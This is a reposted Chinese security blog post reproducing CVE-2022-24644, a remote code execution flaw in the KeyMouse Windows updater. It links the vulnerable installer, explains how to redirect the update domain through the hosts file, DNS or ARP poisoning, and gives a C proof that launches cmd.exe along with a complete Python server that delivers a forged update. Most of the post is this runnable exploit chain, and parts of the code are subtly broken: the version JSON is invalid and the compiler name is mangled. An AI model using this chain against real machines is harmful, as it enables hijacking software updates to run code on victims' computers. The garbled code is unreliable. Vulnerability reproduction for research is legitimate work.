KeyMouse在更新时,没有对更新服务器进行充分的验证,导致恶意攻击者可以通过中间人攻击等方法,使受害者从恶意地址下载文件,并执行任意命令。
KeyMouse是一款新兴科技产品,它巧妙地将键盘、鼠标功能给结合在一起,而且机身分由左右手来个左右开弓,输入更有效率。还是很有趣的。
KeyMouse Windows 3.08
KeyMouse Windows 3.05
KeyMouse Windows 2.02
KeyMouse Windows 3.08版本
百度网盘
https://pan.baidu.com/s/1o60b_eHaDPP8IIPVviaJWg
密码
gfdq
1. 安装Keymouse(上面提供)
2. 将 www.keymouse.com 映射到我们自己控制的ip上
- 最简单的方法是,修改host文件
- 真正的攻击者可能用这些方法来做到:DNS缓存投毒,ARP缓存投毒等
3. 编译要在受害者机器上执行的恶意文件:
686-w64-mingw32-gcc proof.c -o proof.exe;
proof.c
int main(int argc, char const *argv[]){
WinExec("cmd.exe",1);
return TRUE;
}
4. 恶意服务器上运行一个恶意server服务
#!/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, HTTPServer
version_txt = b'''{
"version": "4.00", 10 "file": "proof.exe",
"history": "4.00 - Vulnerable Update ProcedurernRecommend using TLS/HTTPSrnRecommend checking signature of binary."
}
'''
class HTTPHandler(BaseHTTPRequestHandler):
def do_GET(self):
if "versions.txt" in self.path or "version.txt" in self.path:
self.send_response(200)
self.end_headers()
self.wfile.write(version_txt)
elif "proof.exe" in self.path:
self.send_response(200)
self.end_headers()
with open("proof.exe", "rb") as f:
self.wfile.write(f.read())
else:
self.send_response(404)
self.end_headers()
if __name__ == "__main__":
webserver = HTTPServer(("0.0.0.0", 80), HTTPHandler)
print("Running Server")
try:
webserver.serve_forever()
except KeyboardInterrupt:
pass
webserver.server_close()
5. 攻击者点击 帮助 -- 检查更新 -- 确认更新
6. RCE成功执行
https://github.com/gerr-re/cve-2022-24644
https://www.sohu.com/a/37623190_236410
本公众号内的文章及工具仅提供学习用途,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。
原文始发于微信公众号(我不是Hacker):【CVE官方暂未公开细节】KeyMouse RCE环境&复现(CVE-2022-24644)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论